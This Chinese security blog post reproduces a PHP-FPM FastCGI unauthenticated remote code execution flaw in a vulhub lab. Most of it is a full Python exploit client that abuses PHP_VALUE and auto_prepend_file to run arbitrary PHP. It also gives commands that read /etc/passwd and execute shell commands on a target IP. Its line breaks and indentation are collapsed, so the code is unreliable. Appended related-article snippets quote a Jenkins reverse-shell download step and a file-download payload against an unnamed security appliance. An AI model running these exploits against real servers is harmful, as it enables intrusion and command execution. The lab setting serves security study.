1. 漏洞原理

服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。

2. 漏洞利用

第一步 搭建vulhub靶机环境

请看链接:https://blog.csdn.net/qq_36374896/article/details/84102101

第二步 Payload构造

攻击机构造Payload 示例:

import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i]) def bord(c):
if isinstance(c, int):
return c
else:
return ord(c) def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict') def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s class FastCGIClient:
"""A Fast-CGI Client for Python""" # private
__FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict() def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b'' if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId) def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response'] def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
第三步 漏洞复现

​ 1、启动容器环境,

进入/vulhub-master/fpm/使用命令docker-compose up -d启动容器,并使用docker ps查看容器是否正常开启,并且映射9000端口。



​ 2、在攻击机使用命令 ,观察返回结果。

python fpm.py 192.168.91.130 /etc/passwd



​ 由于访问非*.PHP文件,所以返回结果403。

​ 3、使用命令执行一个默认存在的php文件

python fpm.py 192.168.91.130 /usr/local/lib/php/PEAR.php



​ 4、最后利用命令进行任意命令执行复现。

python fpm.py 192.168.91.130 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

fastcgi未授权访问及任意命令执行的更多相关文章

  1. PHP-FPM Fastcgi 未授权访问漏洞

    漏洞原理 Fastcgi Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组 ...

  2. Apache Flink Dashboard未授权访问导致任意Jar包上传漏洞

    漏洞危害 攻击者无需Flink Dashboard认证,通过上传恶意jar包 csdn-[漏洞复现]Apache Flink任意Jar包上传导致远程代码执行 freebuf-Apache Flink ...

  3. Jenkins未授权访问脚本执行漏洞

    Jenkins未授权访问脚本执行漏洞 步骤 首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录: println "wget http://47.95. ...

  4. 某安全设备未授权访问+任意文件下载0day

    具体是哪家就不说了,硬件盒子,主要检测病毒. payload如下: https://xxx.xxx.xxx.xxx/downTxtFile.php?filename=/etc/passwd 比较简单, ...

  5. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  6. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

  7. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  8. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  9. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

随机推荐

  1. 使用grpcui测试gRPC服务

    grpcui类似Swagger UI,可以用来测试gRPC服务,使用起来特别简单. 其原理是通过自动发现gRPC服务协议(当然前提是gRPC服务暴露了Protobuf协议),然后启动一个带界面的Web ...

  2. 6U VPX i7 刀片计算机

    一.产品概述 该产品是一款基于第三代Intel i7双核四线程(或四核八线程)的高性能6U VPX刀片式计算机.产品提供了可支持全网状交换的高速数据通道,其中P1,P2各支持4个PCIe x4 Gen ...

  3. Solution -「洛谷 P6577」「模板」二分图最大权完美匹配

    \(\mathcal{Description}\)   Link.   给定二分图 \(G=(V=X\cup Y,E)\),\(|X|=|Y|=n\),边 \((u,v)\in E\) 有权 \(w( ...

  4. Python中类的定制

    1 class Chinese: 2 eye = 'black' 3 4 def eat(self): 5 print('吃饭,选择用筷子.') 6 7 class Guangdong(Chinese ...

  5. [error]ModuleNotFoundError: No module named 'MySQLdb'

    错误详情(错误详情如标题,图是网上找的): 解决方法: 在项目目录下 settings.py 的同级目录中的 __init__.py 中加入如下代码: import pymysql ​ pymysql ...

  6. springboot页面国际化

    引入依赖pom.xml <dependency> <groupId>org.springframework.boot</groupId> <artifactI ...

  7. 网络中delay和latency的区别

    时序分析基本概念是Latency, 时钟传播延迟.主要指从Clock源到时序组件Clock输入端的延迟时间.它可以分为两个部分:时钟源插入延迟(source latency)和时钟网络延迟(netwo ...

  8. 【C# 程序集】C# assembly和module 根本区别

    相同点 两者都有:manifest.metadata.IL 不同点 1.assembly 有main程序函数.module只能附属于程序集,程序集可以拥有多个. 2.metadata的差异 程序集特有 ...

  9. C# 开始支持动态化编程

    在.NET 4.0的运行时进行动态编程时,我们引入了一个新功能:动态语言运行时.可以这样理解,CLR的目的是为静态类型的编程语言提供一个统一的框架或编程模型,而DLR便是在.NET平台上为动态语言提供 ...

  10. ubuntu 18.04安装hadoop 2.9.2

    先试用命令su,进入root用户权限 下载jdk及hadoop 分别解压,/java,/hadoop tar xvf xxx.tar(在所在目录下进行,或者) tar xvf /x/x/xxx.tar ...